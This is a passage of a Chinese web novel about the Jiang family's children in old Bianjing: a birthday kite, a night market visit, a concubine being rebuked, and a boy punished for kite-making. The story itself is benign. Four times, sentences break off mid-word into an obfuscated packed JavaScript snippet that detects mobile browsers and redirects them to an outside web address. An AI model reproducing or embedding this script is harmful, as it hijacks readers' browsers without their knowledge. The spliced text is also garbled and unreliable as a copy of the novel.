为了不让蒋娇娇被这苗小娘子拖累，也为了他们大家不被拖累，沈云如还是决定了委婉直言。 “苗小娘子可能不知，”她说，“寻常人家的女儿是没有唱曲娱人的。” 苗南风虽然不知道“不是寻常人家的女儿”是什么样的女儿，但她不傻，看着沈云如说话时的神情，就已猜到了那大约不是什么好女儿。 她顿感有些莫名其妙，于是直接说道：“我不知道你们汴京城是什么样人家的女儿才能唱曲，反正我们那里没有说不能唱的，大家平日里一起玩，或是大人们做活时都会哼上几句，我们从小听着长大的，这都是乡里的小曲儿，为什么在你们汴京唱不得呢？那娱己又算不算娱人？总不能说我自己不是人吧？”然后又转过头对蒋娇娇道，“既是你过生日，那便你说了算吧，要真是不能唱那我就不唱了，我回家再唱就是。” 所有人都愣住了。 谁都没想到苗南风竟然会说出这么一番话来。 最后还是蒋修先反应过来，当场就忍不住“噗”地笑出了声。 其他人又纷纷朝他看去，沈云如更是不禁有些着恼地红了面颊盯着他。 却见蒋修向着苗南风笑道：“你当然是人了。”又爽朗地说道，“沈小娘子是平日里在劝淑斋被那些女夫子劝得多了，所以也忍不住担心你们被夫子骂。其实也没有什么，这里都是自己人，自是怎么快活怎么来，我也正好奇着想听听你那小曲儿呢。” 沈云如还想说什么，却被沈约轻轻拉了下袖子。 蒋娇娇也点点头，笑着道：“我想听你唱的曲儿。” 苗南风就高兴地应了。 开席前，蒋娇娇又想起了其他人还没见过谢暎送她的风筝，于是就吩咐荷心取了过来。 “真是谢元郎自己做的？”姚之如看着蒋娇娇递过来的这只大粉蝴蝶，很惊讶，也很捧场。 “当然了，”蒋娇娇笑得有些得意，“不信你问大哥哥。” 蒋修就附和道：“没错，我看谢元郎以后就算专门去摆个风筝席，想必也能做得红火。” 沈约觉得这话若是传到谢暎耳朵里不太好，便提醒他：“谢元郎以后肯定是要继承他父亲遗志去应举的，怎么会去做那手工艺人，你莫要乱玩笑。” 蒋修却并不太以为然，能够考上进士固然是好，但谁不知那是座独木桥？难道考不上进士就不过日子了么？他们家没有一个进士，日子也照样过得挺好。虽然技艺人非上户，但他并不觉得做手艺有什么下等的，反而认为沈约太在意这些名号了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529287|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姚二郎瞧着那风筝也语气微酸：“谢元郎也太吝啬了吧，这可是给娇娇的生辰礼，哪有自己随便做样东西送的。” 蒋娇娇不高兴了，皱着眉头抱不平地道：“他才没有随便，这是他亲手做了好久的。” 姚二郎不服气道：“那这上头的画肯定也不是他画的。”谢暎就算是个天才，可满打满算地读书、写字、习画也才多久？怎可能画得那么老道。 蒋娇娇就怼他道：“你连画都不会画！” 姚二郎霎时被她嘲了个脸红。 苗南风忽然说了句：“他这个确实做得很有意思啊。” 蒋修等人闻声转头看去，只见她一边细细看着传到手里的风筝，一边头头是道地说道：“他不是用的寻常染料给这风筝纸上的色，而是碾的花汁，应该是桃花和山茶。”说着还凑上去嗅了嗅，然后递给蒋娇娇，“你闻，有股花木的清香呢。” 蒋娇娇既喜且讶地把风筝接了回来，在苗南风的提示下仔细看着，这才发现上面并不仅用画笔勾了蝴蝶样子，而且在翅膀尖上还用桃花瓣粘了祥云纹出来。 就好像这粉粉的蝴蝶是攀着粉粉的云朵飞的天。 她顿时就更喜欢了：“好漂亮！” 姚之如也流露出了艳羡的神色。 苗南风点头附和：“这时节桃花本就开得零星，要找些来碾汁也是不好找的，谢元郎真地很有心，也很能干。” 姚二郎：“……” 沈约顿了顿，没有说话。 蒋修也不想去管谢暎这个不让人有活路的家伙了，只径自好奇地问苗南风：“你怎么会懂这个？” 其他人闻言，不由也转眸朝她看去。 苗南风神色平常地道：“我们家给你们家做事的，常要同那些织户和染户家的打交道，我也得学一些。” 蒋修看了看她，好似新鲜地打量过几轮，末了，笑着问道：“你会捶丸么？” 苗南风被问住了，摇头，也好奇地问道：“捶丸是什么？” 蒋修还没说话，沈云如便开了口。 “就是一种用球杖来击球入穴的游戏，”她淡淡说道，“你们住得远，没见过也正常。” 苗南风恍然地点了点头，坦然道：“我们确实没玩过这些。”又笑了笑，说道，“但我们在乡下玩的你们可能也没玩过。” 沈云如哪里可能会对乡下玩什么感兴趣，自然只不置可否。 蒋娇娇却道：“那以后有机会我去乡下找你，你带我一起玩好不好？” 蒋修也跟着来了句：“回头我教你捶丸，到时你也领我在你们那里玩玩看。” 苗南风爽快道：“好啊。” 姚之如见状，不禁也追着苗南风问起了乡下和汴京有什么不同。 姚二郎起先好似对那些乡村之事不以为然，但当他听到苗南风口中那与城里全然不同的风貌时，也明显地生出了些兴趣，就如同听到了个从未听过的话本子一样。 连沈约也是听着听着就露出了认真专注的神色。 沈云如看了眼蒋修，又看了眼好似正处于所有人视线中心的苗南风，顿了顿，然后傲然而淡漠地转开了目光。 32. 无忧 因苗家母女都是初来汴京，蒋老太太便安排着打算让两人去好生逛逛，金大娘子走路不便久陪，这事自然而然地也就落到了蒋黎身上，蒋修和蒋娇娇便也都蹭着跟去了。 蒋黎一番思索之后，决定应蒋修所求，领着大家去马行街。 马行街长达数十里，铺席店舍遍布，其间还夹杂着些官员宅邸，故而该处夜市之繁华也是其他各处无法比拟。同只单纯售卖各色商品的潘楼大街不同，马行街上不仅能买东西，还能找到许多消遣，风雅的、流俗的，那些瞧起来好似矛盾相反但又和谐共存的东西不过就在伸手左右之处。 各样的生活所需也是少不了。不仅有供观赏玩乐的瓦舍勾栏，酒楼歌馆也到处都是，大街上还有车担设浮铺卖茶汤，沿街盘卖夜食点心的更不在少数，即便是遇到冬日大雨雪的天气也不停张。 蒋娇娇虽从小生长在汴京，但这还是第一次来逛马行街夜市，就连蒋修其实来得也不多。 因为这里的人实在是太多了，简直可谓是车马拥挤，以至于人们摩肩接踵，几乎到了不可于路中驻足的程度。 这样的地方蒋世泽自然不敢轻易让自家的宝贝疙瘩来逛，即便似今日，蒋黎也是把蒋娇娇牵得紧紧的，好在蒋修已经是半大孩子了，不然她还真得是一手一个。 苗南风从踏入马行街夜市的第一步起，就全程将惊奇布满了双眼。 “娘，”她走了一阵，忍不住对胡氏说道，“这里好像连蚊子都没了。” 胡氏也心下称奇，但她没太好意思表露，虽说自家没怎么见过世面是事实，但让人笑话也不太好。 蒋黎听见了，便笑着解释道：“蚊蚋恶油，马行街上夜里从来灯火照天，及至四更方罢，所以走在此间夜市上便不必担心会被叮咬了。” 胡氏与苗南风母女两个不由愕然颔首。 蒋家兄妹两个是将灯火如昼看习惯了的，对此倒没有觉得有什么，他们反而对平日里自己很难去的瓦舍更感兴趣。 蒋修知道自己是在陪客，不好单独行动，就问苗南风：“你想不想去看傀儡戏？” 苗南风果然未曾听过这个，闻言亦面露新奇地点了点头。 蒋修就转过头去看他小姑，意思就是：人家说要去了。 蒋黎无语，心说这小子明知她多半不会带着他们往瓦子那边去，还挺能使心眼儿。 她也不是好被算计的，当下便弯起眉眼冲她的乖乖侄儿说道：“那边人多，你把你胡妈妈和苗家妹妹可得护好了。” 蒋修即保证着没问题，然后自动自觉地走到了苗南风身边。 正好有一小贩担架子路过，叫卖着吃食，蒋修就顺手买了份羊脂韭饼和香辣罐肺，分别递给了蒋娇娇和苗南风。 “待会看戏时吃着玩儿。”他如是说道。 苗南风有点诧异：“你怎知我喜欢吃辣的？” 蒋修奇怪道：“席上你不是把辣菜吃得多么。” 他觉得她问这个问题挺多余，席上她话多，他总要盯着她瞧，当时还纳闷她怎么吃那么多辣菜却一点反应都没有，嘴皮子仍是溜溜的。 胡氏瞧着便笑赞道：“修哥儿真是个心细的，会照顾人。” 面对长辈夸赞，蒋修貌似含蓄地抿了抿唇。 蒋娇娇故意拆她哥的台，学着她爹爹的口气说了句：“难得。” 蒋黎和胡氏并都笑了起来，苗南风虽还没搞清楚状况，但也陪着笑，蒋修就佯作要去揪他妹的丫髻，惹得蒋娇娇连忙往蒋黎身后躲。 一行人边随意闲话地逛着，边朝瓦舍方向行去，眼见就快要到中瓦时，苗南风忽见前面人头攒动间不时发出阵阵笑声，又听见那笑声间像是有个女声正在高门大嗓地叫卖着什么，不由好奇地转头问蒋修：“那边又是有什么热闹？” 蒋修循她所指地看过去，凝神侧耳一听，了然随笑道：“大约是点茶婆婆在叫卖香茶异物之类的吧。” “点茶婆婆？”苗南风不解道，“那有什么好笑的呢？” 蒋修随口解释道：“因为她的样子有些滑稽。” 苗南风就更好奇了，此时正好几人也走入了人群中，她便努力地踮着脚往笑声中心望了一眼，然后瞧见了个有些老态的侧影——头上戴着三朵大红的花，脸上涂着隔了数十步都能瞧见的浓妆，举手投足间亦故作俏丽姿态，衬着那副老相果然是透着引人发笑的滑稽。 但苗南风却没有笑，她只是愣了愣，然后语带憧憬地说道：“我觉得她很厉害。” 蒋修转眸看向了她。 “你听她的吟唱声，”苗南风道，“错落有致，并非寻常叫卖。” 蒋修点点头：“是啊，所以她能招徕生意。”汴京城里那些叫卖人大多都有这份技艺，区别只在高低深浅，毕竟在街市上要吸引路人买卖，自不仅仅只是扮个丑就行。 “蒋哥哥，”她眼含期待地看着他，问道，“你说我以后若自立个铺席，是不是也能靠吟唱招徕许多买卖？” 蒋修就想起了她在席上唱的那首他愣是没听出来调子的采桑曲。 “唔……”蒋修沉吟了须臾，然后委婉地道，“你要不试试改成讲话本子？” 苗南风就认真地想了想，末了，点了点头，说道：“那我回去研究一下。” *** 金大娘子正在服侍蒋世泽换衣服，他晚上约了沈耀宗谈事，两人定了要去乘船游湖。 夫妻两人趁着这会儿也顺便说起了私房话。 “苗老太太这次没能过来，我看阿姑还是很有些失望的。”金大娘子劝道，“老人家们年纪大了，过一年便少一年，往后腿脚不便就更不好来往，我看要不还是找个时间，咱们陪着她老人家回渠县一趟看看。” 蒋世泽想了想，说道：“过两年吧。”他说，“等这塌房买卖做起来了，到时你们回去一趟也更风光些，再顺便去外父那里走走。” 金大娘子明白他的意思，于是也没再多说，颔首应了下来。 蒋世泽却突然想起什么，随口说道：“听说沈家小娘子从娇娇生辰宴上离开的时候情绪不太高，好像是修哥儿他们净捧着南风而冷落了人家，你回头得空还是说一说那孩子，别不知个轻重。” 金大娘子手上一顿，抬眸看向丈夫，问道：“官人说的不知轻重，是什么意思？” 蒋世泽也没太当回事，只道：“沈家郎娘毕竟出身不同，从小也是被捧惯了的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529288|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，回回孩子群里总能当个焦点，若是咱们家的孩子抢了他们风头那也就抢了，何况今日本就是娇娇的生辰。但南风一个外来的客人，且又是那般出身，却又要另当别论了。”他说，“她年纪小不懂避让，可咱们家的孩子却应该多有些眼界，尤其是修哥儿。” 说完，他又记起前事，便再续道：“听说上回沈家大宴的时候，他还晓得为自己之前不知怎地得罪了沈小娘子的事去赔礼，我还当他是懂了事，也不晓得现在怎么性子又倒回去了。” 言罢，他还笑了一笑，又对妻子说道：“他心思粗，若是不知该怎么同官户家的女孩儿相处，你也可稍微提点一下，不然我怕他长大了也是个榆木脑袋。” 金大娘子越听越觉得不太对劲，问道：“官人如何知道沈家宴上的事？修哥儿未曾与我提过。” 凭她对自己儿子的了解，她觉得修哥儿也不可能四处对人说。 估计就连娇娇都不一定知道。 “哦。”只听蒋世泽带了笑意地道，“他那日机灵得很，让他二弟弟帮着做了回使者，替他给沈小娘子送的道歉礼物，原本沈小娘子还不太满意，后来两人吵了几句嘴，不知怎地又好了。” 金大娘子愕然。 但她很清楚二哥儿不可能转得了那么多话，于是转念一想，立刻明白了：想必是二哥儿的乳母瞧了个大概，然后回去告诉了康氏。 金大娘子没有作声。 蒋世泽察觉到了气氛的不对，于是凝眸朝妻子看去，顿了顿，轻轻扶住了她的肩，柔声道：“她也没有别的意思，原是当个趣事聊起的，估计是当时见我多问了几句，今日才又顺便提了些许。” “孩子们若是能与沈家的处得好，这也是好事。”他带着几分劝慰并几分小心地说着，担心妻子会因为妾室在他面前多嘴的那几句而不高兴。 金大娘子沉默了片刻。 “孩子们还小，”她说，“我不想这么早就提醒修哥儿什么。” 她说话时的语气很平静，但蒋世泽知她性子，自是一听就晓得了她的郑重之意。 “好。”他便顺着她道，“你放心，我原也没打算这么快定下什么，孩子们的前程都还未明了，便是我们家想，沈家也未必愿意。” 金大娘子觉得他这话还是把沈家捧得太高了，怎么就不能是他们家孩子不愿意呢？ 但她没有多说什么，只是略皱了皱眉，缓道：“官人自己的儿子，应当清楚他的性格，修哥儿自来骄傲好强，你骄，他只有比你更骄。若要让他像姚家二郎那样，他是万万不可能去做的。我只怕弄巧成拙。” 蒋世泽微顿，然后一笑，说道：“你也瞧出来姚家的意思了？” 金大娘子道：“除非我是那耳聋心瞎的母亲。” 蒋世泽哈哈笑着，伸手将她揽入了怀中，安抚地道：“娘子放心，我们家娇娇自然是不可能配给姚家儿子的。” 金大娘子默了默，靠在他怀中说道：“孩子们都是天真无忧的年纪，我只是希望他们能随心相交，本不该受咱们大人的意图左右，往后不得已的日子还长着，官人现在就让他们都轻松一些吧。” 蒋世泽轻抚着她的背，柔声回道：“好。” 33. 敲打 第二天上午，金大娘子便去了康氏那里。 彼时，康氏正抱着肚子坐在炕上，眉眼带笑地看着二哥儿在背《三字经》，二哥儿的乳母牛氏也陪在一旁，间或赞着孩子的聪明。 听见底下女使报说大娘子过来了，康氏便下炕要去迎，恰好金大娘子当头进了门，见之即授意她不必多礼。 康氏就由着翠涛扶了自己，敬候金大娘子先于上位落了座，自己这才又慢步走了回去陪着坐下。 “正好小厨上炖着燕窝，”康氏柔顺地笑着说道，“大娘子也尝一碗吧？” 金大娘子这趟来是有事，就算没事也自不可能去吃她的补品，于是只回以一笑，说道：“不必麻烦了，我那里还有事，问完你的意思就走。” 康氏还没反应过来，就听对方又续了下去。 “人我给你带过来了，”金大娘子说话时一如既往的平静温婉，对着康氏微笑道，“你自己挑一个吧。” 康氏一愣，顺着对方示意看去，这才仔细瞧见了珠蕊身边并站着的三个年轻妇人，她原还纳闷着是做什么的，现在金大娘子这样一说，她就更纳闷了。 “大娘子，”她小心地问道，“这些人是？” 谁知金大娘子却看起来比她更诧异，反问道：“你忘了，不是你说想要给二哥儿换个乳母么？” 康氏一愣。 牛氏也呆住了。 二哥儿有点懵懵地看了看他娘，又看了看自己的乳母，最后也定定地看着金大娘子。 康氏回过神来，下意识地便要解释：“我……” “说来也是我的疏忽，”金大娘子若无其事地打断了她，说道，“去年沈老太太寿宴之后，我便该帮你留心着的，不过那时忙着阿黎的亲事，竟不知觉地就拖到这会儿了。”又含笑问道，“你不会怪我吧？” 康氏蓦然一顿，然后忽地悟了。 少顷，她站起身，向着金大娘子缓缓一礼，恭声道：“大娘子将妾身的事放在心上，妾身只有感激。”又道，“大娘子选的人定然是极好的，您瞧着哪个合眼直拨给妾身便是。” 金大娘子伸手来轻扶了她一把，口中道：“话也不能如此说，毕竟是你们娘俩身边用的人，你还是亲自掌掌眼。”又意有所指地道，“若是往日也就罢了，但你如今正在孕中，也受不得那口舌是非的编排。” 康氏紧了紧交握的手指。 她侧眸看了眼站在旁边的牛氏，见对方早已白了脸色，此时只一脸紧张期盼地看着自己，她默了默，然后便恍若未察地收回目光，径自回道：“那就选这三人中年纪最长的吧，想必说话做事也牢靠些，不会让主家费神。” 金大娘子就点了点头，然后示意珠蕊把康氏挑中的人留下，将另两个则自打发了去。 “不过毕竟也是照顾了二哥儿几年的老人，咱们还是应当好聚好散。”金大娘子复又对康氏说道，“我会另给她加些钱帛，你可还有什么要求么？” 她这话虽说的是牛氏，但却全程不曾朝牛氏看过一眼。 康氏忙道：“她差事做得本就不如何，大娘子能这样考虑已是眷顾了。”说完，也不等对方再开口，便径对自己左右吩咐道，“去帮牛娘子收拾一下，莫要晚了不好回家。” 翠涛等人即应了喏。 牛氏再也沉不住气了，似蒋家这样的主户哪里是那么好找？再说她突然好好地就被赶走了，就算是另找人家肯定也是要被问起缘由的，到时如何还能抬得起身价？ 她慌张之下竟是突地跪了下来，朝着金大娘子便道：“大娘子，我知错了，还请大娘子饶我这回，我再不敢对主家的事多口多言了，大娘子……” 金大娘子慢慢喝了口茶，然后抬眸看向虽一脸茫然但却已红了眼眶的二哥儿，微顿，轻轻招了招手：“二哥儿，过来。” 康氏回过神，连忙拉着儿子往她面前推送了一把。 金大娘子一手轻扶住面前的孩子，就着手里的巾子给他擦了擦眼下，缓声说道：“你娘亲也是为了你好，你素来喜欢跟着你大哥哥一起玩，但他是最不喜欢那些爱嚼口舌的人，你若要留着牛娘子，那你就很难再和大哥哥玩在一起了。” 二哥儿年纪小，多的道理也听不懂，但却能把金大娘子说的他只能二选一的意思听得清清楚楚，于是他犹豫着转头看了眼牛氏，又看了看他娘亲，末了，低着头小声说道：“我想和大哥哥一起玩儿。” 金大娘子微微一笑，摸了摸他的头，然后方肃了容色，径自吩咐道：“把人请走吧。” 牛氏期期艾艾地又喊了声“大娘子”。 金大娘子却只淡淡道：“都是做母亲的人，你当明白自己的手长短应在何处。我今日许你好聚好散，愿你也能自省过错——好自为之。” 她话音落下，王妈妈就立刻招呼着人把牛氏给半软半硬地“请”走了。 康氏低眉垂眼地端端站着。 金大娘子朝她看了一眼，语气微缓，说道：“你还怀着身子，坐下吧，别累着了。”又兀自站起了身准备离开，并道，“儿孙自有儿孙福，孩子们都是好孩子，你我都不必操心太多才是。” 康氏恭声应道：“大娘子说得是。” 金大娘子点了点头，带着左右离开了。 少顷，康氏方无声地深深舒了口气。 “先带着新乳母和二哥儿下去安置吧。”她略有些无力地吩咐道。 等到室内只剩下了自己和心腹翠涛后，康氏才终于忍不住心有余悸地说道：“我进了蒋家门这么几年，还是第一次看见大娘子的这般手段。” “是我大意了。”她大感懊悔地道，“怎就会一时嘴上把不住门，跑去多修哥儿的嘴呢？” 金大娘子这番发作明着是惩罚牛氏，可其实也是在敲打她，那话里话外的母亲如何，手的长短如何，说的分明就是她触到了大娘子的底线。 倘若她不肯知错识相，那就不是二哥儿不能跟在蒋修身后，而是她无法和金大娘子再像以前那样共存了。 所以大娘子便当着她的面用二哥儿来教了她一回，让她晓得什么是身为母亲应当担下的责任。 所以赶走牛氏的人只能是她。 翠涛之前并不太清楚康氏在蒋世泽面前说过什么，此时听康氏说起，顿时也感到有些后怕，但转念又想：康娘子既是在老爷面前传的话，可老爷都没说要责罚康娘子什么，那大娘子又怎么会与老爷对着干呢？ 谁都知道大娘子一向贤惠。 她把这想法说了出来，并道：“娘子莫担心，您本来也是为了蒋家和大公子好，况就是看在老爷的面上，大娘子也不会对您如何的。” 然而康氏只是苦笑了一下，摇摇头，说道：“你恰是说反了，大娘子可不需看老爷的什么脸色，只要大娘子对老爷笑一笑，便是她让老爷今日就把我送了人家也不是不行的。” 她从来都知道，对蒋世泽来说妾室只是妾室，她为了做他的妾室或许需要琴棋书画样样精通来讨他喜欢，可大娘子却也只是大娘子，根本无需像她那样费尽努力。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529289|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 金大娘子只要站在那里，便就是这位蒋家家主心尖上的人。 “老爷待大娘子，到底是不同的。”康氏深吸了一口气，缓缓说道，“今日大娘子这番处置，老爷就算知道也必不会当回事。但我，还有我们却需谨记——正院那边郎娘们的前程自有大娘子和老爷做主，从今往后都由不得我们去多一句嘴。” *** 蒋修刚从学里回来，就看见他妹正在院子里教苗南风打捶丸。 他见蒋娇娇一副煞有介事的样子在那里纠正着人家的姿势，便饶有兴致地抱着手靠在廊下看，结果就看到苗南风鼓足一口气击出去——啪！歪了。 蒋修“噗”地笑了出来。 他这一声笑得虽轻，但恰好却被苗南风抬眼给瞧见了，然后就见她微怔了一下。 蒋修正想开口说“我不是有意笑你”并顺带嘲一嘲他妹“误人子弟”的本事时，却又忽见苗南风转头对蒋娇娇说了句什么，接着蒋娇娇也朝他这方看了眼，然后两人就把球杖递给了旁边的女使，满脸高兴地并行着就要往外走。 蒋修大感莫名，好奇心驱使之下，他快步追了上去拦住两人问道：“你们去哪里？” 蒋娇娇道：“去谢暎家。” 蒋修愕然，所以她们这是瞧见他回来了，然后就晓得谢暎也回来了，于是这两人就无视了他要跑去找谢暎？ 他无语，又颇奇怪地朝同样面露积极的苗南风看去：“娇娇爱跟暎哥儿玩，你又那么积极做什么？” 苗南风一脸坦然地道：“娇娇说谢元郎是你们巷子里长得最好看的男孩子，昨日席上没见着，我这会儿去看看。” 蒋修：“……”他还是好心地道，“你在人家面前别把这话挂嘴边上。” 苗南风“啊”了声，略感莫名地道：“可是你们巷子里的郎娘们确实长得都很好看啊，长得好看为什么不能说？长得丑的才不好说吧，多伤人啊。” 蒋修：“……”他奇迹地发现自己居然觉得她说得很有道理。 “可是你们这样急吼吼跑去看人家，嘴里又说什么好看不好看的，很容易让暎哥儿觉得他自己像只猴子。”蒋修自觉将心比心地说着，然后帮她们想了个措辞，“你就说你久仰他，所以去看看。” 在蒋娇娇的认知里，“久仰”这类说法完全就是大人们的客套话，于是她便皱着眉头说道：“大哥哥，我觉得你这样说好假。” 蒋修：“……我也觉得。”说完，他忽然后知后觉地反应过来什么，即道，“晚上暎哥儿反正要过来读书，到时候我正好与你们引见不就好了，费那个事作甚。” 蒋娇娇先前想到要去找谢暎就挺高兴，一时也忘了这茬，此时被她哥一提醒才想起，于是冲苗南风点头：“他晚饭后是要过来，但我们不要看他太久，免得耽误他读书。” 苗南风看她说得认真，也就下意识陪着认真地点了点头。 蒋修瞧着，无奈地轻诽了句：“幼稚。”说完转身就要先回去换衣服。 走了没几步他又停下来，顿了顿，回过头若无其事地朝正在说话的两个女孩儿看去，然后轻轻咳了声。 “对了，那第二是谁啊？我是说，同他差不多的那个第二。”他问。 苗南风和蒋娇娇对视了一眼。 “你。”两人异口同声地说道。 蒋修弯了弯唇角，随即按捺地抿住，对苗南风道：“等我换了衣服来教你，别听蒋娇娇的瞎学。” 说完，他便又继续若无其事地走了。 34. 责备 沈约走进屋子，一眼便看见了放在炕几上的几只风筝。 小厮毛通一边准备侍候他更衣净手，一边已主动说道：“公子虽只说随便买一只，但我瞧着这几样都不错，就都买了回来，公子也好挑着玩儿。” 沈约走过去，随手拿起了放在最上面的一只鹰形风筝，端详须臾后说道：“就这个吧。其它的我用不着，你都收走。” 毛通应了声，又忍不住好奇地问道：“公子今日怎么想起来玩风筝了？往日里您都嫌这些游戏麻烦。” 沈约和巷子里的其他男孩子不太一样，喜静不喜动，从小喜欢看书胜过玩乐，对游戏一类的事情一向兴致缺缺。除了打球这种算得上能强健体魄，且也是与人相交常需有的活动外，别的他都不太爱去凑热闹。 而像放风筝这种玩不玩得成基本取决于老天爷今天高不高兴吹吹风的游戏，他就更不感兴趣了。 沈约沉吟了半晌，说道：“我总觉得读书是要专注才能读得好，但为什么别人却可以既把风筝做得好，还能不落下课业。” 毛通不由地一愣，他还是头次听自家二公子用这种语气说出这样的话，好像言语间带着一种茫然和疑惑。 但还不等他想好该怎么接应这话，便又听沈约用一种略显惶惑的语气，好似自言自语地忖道：“难道，果是我不如他？” 毛通一听，再不敢犹豫，也顾不得自己能不能说出什么有内涵的话了，忙宽解道：“公子莫要多想，这玩意儿又不复杂，任谁花点时间也能学会的，只是您用不着去学罢了。再说那课业，保不准人家在背后怎么努力才能稍稍赶上您一点呢。” 沈约听着他的话，心里却想：我爹爹是进士及第，谢暎的父亲是或许只差一步便也要成进士的举人，我们同在一斋本是应当，可是我不该比他差才是。 无论是新年时蒋修他们让谢暎写字，还是现在谢暎给蒋娇娇做的风筝让大家称赞不已，他觉得那都是看起来好似自己不如谢暎的地方。 既然做风筝并不复杂，那他也该能学得会吧？他虽然没打算做出来要拿给别人看——此事毕竟始终非士人子弟所应为，但至少该证明自己也可以做到。 只要他自己知道他不弱于人就行了。 于是他也不多说什么，反正说了毛通也不明白，他便只索性依着自己的想法去做，吩咐了对方去把需要用到的工具和材料都拿过来。 这一上手，沈约就不知不觉地做到了黄昏。 毛通在旁边陪着，从起初的周到服侍，到后来逐渐变成了小心忐忑，终是忍不住说道：“公子，要不还是我来帮您编吧？” 他算是看明白了，自家公子根本就不擅长做手工，只光是用编竹条都伤着了两回手指，还好他事先已将那些竹条的边子都处理了下，不然只怕是动辄就要割上几道血口子。 但饶是如此，沈约的食指上还是被划破了两处。 沈约手上做得不顺，心里头不由隐隐攒了些火气，此时听毛通这样一说，忍不住便沉声斥道：“你是觉得我蠢笨，这点事也做不好么？” 毛通忙称不是，又劝道：“公子，这些都是要熟能生巧的，您也别着急，今日做不好，就慢慢放着做就是了。” 沈约没说话，手里却仍未放下。 毛通也不敢再多说，又见差不多到了饭时，便道先去厨房拿饭菜过来。 沈约又全神贯注地做了一会儿，大约果真是像小厮说的那样，这种事的确是做着做着便熟了，他终于把大致的轮廓给编了出来。 他拿在手里又左右端详了会儿，回忆着谢暎做的那只风筝，正想再调整下细节，便忽然听见室外传来了脚步声。 沈约起初没当回事，直到过了片刻，反应过来好像没听见那脚步声走近，才突然感觉不太对。 他倏地抬起了头。 沈庆宗站在帘外，就这么居高临下地看着自己的儿子，眸光沉静。 沈约心下猛地一顿。 父子两人就这样帘内帘外地对视了几息，末了，沈庆宗开口问道：“你今日为何没去书斋？” 这显然是明知故问了。 沈约知道父亲的意思，于是默了默，随手将东西放在了桌上，然后规规矩矩地站了起来，又低着头规规矩矩地答道：“孩儿在做风筝，忘了时间。” 沈庆宗看他倒敢承认，心里的火气微消了些许，走上前往地上那摊杂乱的物事瞥了一眼，然后目光微转落在了他的手上，蹙眉道：“手伸出来。” 沈约依言照做。 沈庆宗看着他指上的伤痕，顿时又再气不打一处来，顺手抄起桌上的书册便重重往儿子的掌心打了下去。 沈约咬住嘴唇，没有发出声音。 “混账东西，好好一双拿笔握书的手，竟敢这般瞎折腾！”沈庆宗气骂着，又重重打了一下，“我一贯当你是个懂事的小子，别人家孩子惹是生非的时候，我总欣慰你小小年纪就知轻重，晓得以你父兄为榜样，早早为将来做努力。可你现在想什么？我早同你说过需警惕玩物丧志。你倒好，玩不够，还亲自做起玩物来了！” “怎么，你是已立志打算将来去做个技艺户了？”沈庆宗道，“那要不要为父去给你找个师傅，也好免了你自己在这里走弯路？” 沈约惭愧地涨红着脸，摇了摇头。 “爹爹，孩儿知错了，我不该为玩物之事耽误学时。”他语气认真地反省着，又道，“但我做这个风筝不是为了玩乐，只是……” 只是想试试自己能不能和谢元郎一样做到。 “既知道错了，那就速速把这些都拿去扔了。”沈庆宗沉声道，“今日功课多罚一遍，做完才准睡觉。” 沈庆宗根本没耐心去听儿子的辩解，在他看来小孩子贪玩本就是天性使然，而自己需要做的就是及时进行教诲，避免孩子们在还小的时候便养成耽于逸乐的毛病。 沈约本想将自己的迷茫再说一说，但看父亲满脸不想再听的样子，便也只能闭了嘴。 沈庆宗静静看着儿子抱了一堆杂物往外走去的背影，孩子略显吃力的样子让他不禁有几分心软，想着是不是刚才语气重了些，或是打得疼了？ 但他终是什么也没有做。 沈庆宗心里其实很清楚，相比起长子的柔和谨慎，次子的性格要更加像他，一样是追求上进，不愿落后于人。就算是做玩具，他也更倾向沈约肯定是为了证明能做得比别人好，所以才在这里废寝忘食一般地较着劲。 可是他同样也觉得这些都是没有意义的事。 他每月休沐才能回来关顾他们的功课，与其让他浪费时间去与孩子讨论半天这个风筝有没有做的必要，倒不如只抓重点。 童年转瞬即逝，少年明日便要长大。 他十九岁中举，而陶若谷二十为探花。 他不想让儿子做另一个他自己，他想让他们成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529290|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为的，是另一个陶宜。 *** 